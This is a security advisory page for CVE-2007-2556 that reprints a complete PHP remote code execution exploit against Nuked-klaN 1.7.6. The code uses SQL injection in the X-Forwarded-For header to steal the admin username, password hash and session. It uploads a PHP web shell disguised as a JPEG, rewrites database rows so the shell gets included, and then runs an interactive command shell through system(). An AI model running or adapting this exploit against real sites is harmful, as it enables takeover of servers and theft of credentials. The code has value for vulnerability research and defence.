|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | Nuked-klaN 1.7.6 Remote Code Execution Exploit
|
SecurityAlert : 2665
CVE : CVE-2007-2556
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : DarkFig
Published : 12.05.2007
Affected Software : | Nuked-klaN 1.7.6 |
 Advisory Content : <?php
#
# Nuked-klaN 1.7.6 Remote Code Execution Exploit
# ------------------------------------------------
# Author: DarkFig <gmdarkfig (at) gmail (dot) com [email concealed]>
# Website: http://www.acid-root.new.fr/
# PHP conditions: None =]
# Private since 2 months.
#
error_reporting(E_ALL ^ E_NOTICE); # This file require the PhpSploit
class.
require("phpsploitclass.php"); # If you want to use this class, the
latest
# version can be downloaded from
acid-root.new.fr.
$xpl = new phpsploit();
$url = 'http://localhost/nk/'; # url
$prx = ''; # proxy <proxyip>:<proxyport>
$pra = ''; # basic authentification
<proxyuser:proxypwd>
$xpl->agent("Firefox");
$xpl->allowredirection(0);
$xpl->cookiejar(0);
if($prx) $xpl->proxy($prx);
if($pra) $xpl->proxyauth($pra);
$config = array();
$config[] = 'nuked'; # table prefix
$config[] = 'nuked'; # cookie prefix
$config[] = 'ORDER by date LIMIT 1'; # sql conditions
$config[] = 'HAK'; # match, length <= 3
$config[] = '<?php'."n" # php code
.'error_reporting(0);'
.'if(isset($_SERVER[HTTP_SHELL]))'
.'{print
123456789;eval($_SERVER[HTTP_SHELL]);exit(123456789);}'
.'else
{include('./Includes/blocks/block_login.php');$blok[type]='login';} ?>';
$request = array();
$request[] = "'$config[3]0',(SELECT pseudo FROM $config[0]_users
$config[2]),'$config[3]0'";
$request[] = "'$config[3]1',(SELECT pass FROM $config[0]_users
$config[2]),'$config[3]1'";
$request[] = "'$config[3]2',(SELECT id FROM $config[0]_users
$config[2]),'$config[3]2'";
$request[] = "'$config[3]3',(SELECT id FROM $config[0]_sessions WHERE
user_id=(SELECT id FROM $config[0]_users $config[2])),'$config[3]3'";
for($i=0;$i<count($request);$i++)
{
$deb = rand(0,10000)."',2,".(time()+500000).",'',(SELECT CONCAT(";
$sql = $deb.$request[$i]."))) #";
$xpl->addheader("X-Forwarded-For",$sql);
$xpl->get($url);
$xpl->reset('header');
}
if(!preg_match_all("#$config[3]([0123]{1})(S*)$config[3]([0123]{1})#",$
xpl->getcontent(),$matches))
die("Exploit Failed");
$what = array("login","passwd","user_id","session");
for($i=0;$i<count($what);$i++)
print "n".$what[$i]." -> ".$matches[2][$i];
if(empty($matches[2][3]))
exit("nNo session found");
# Logged in as admin
$name = array("admin_session","user_id","sess_id");
$xpl->addcookie($config[1].'_'.$name[0],$matches[2][2]);
$xpl->addcookie($config[1].'_'.$name[1],$matches[2][2]);
$xpl->addcookie($config[1].'_'.$name[2],$matches[2][3]);
$phpc = array(
frmdt_url => $url.'?file=User&op=update_pref',
'fichiernom' => array(frmdt_filename => '1.jpg',
frmdt_content => $config[4]));
$xpl->addheader('Referer',$url);
$xpl->formdata($phpc);
$xpl->get($url.'?file=User&op=edit_pref');
if(!preg_match('#<input name="photo"
value="(S+)"#',$xpl->getcontent(),$match)) exit("nNo file found");
else print "n$shell> ";
$sql = array();
$sql[] = "ALTER TABLE $config[0]_block CHANGE `type` `type` VARCHAR(60)
CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL DEFAULT 0;";/*
$sql[] = "UPDATE $config[0]_config SET avatar_upload=".char('on')." WHERE
name=".char('avatar_upload').";";*/
$sql[] = "UPDATE $config[0]_block SET
type=".char('/../../../'.$match[1]."x00")." WHERE bid=1;";
$sql[] = "DELETE FROM $config[0]_nbconnecte;";
for($i=0;$i<count($sql);$i++)
$xpl->post($url.'?file=Admin&page=mysql&op=upgrade_db','upgrade='.$sql[$
i]);
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
# 0'); include('./conf.inc.php'); print $global['db_pass']; //
$xpl->reset('header');
$xpl->addheader('Shell',"system('$cmd');");
$xpl->get($url);
$data = explode('123456789',$xpl->getcontent());
print $data[1]."n$shell> ";
}
function char($data)
{
$char='CHAR(';
for($i=0;$i<strlen($data);$i++)
{
$char .= ord($data[$i]);
if($i != (strlen($data)-1)) $char .= ',';
}
return $char.')';
}
?>
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|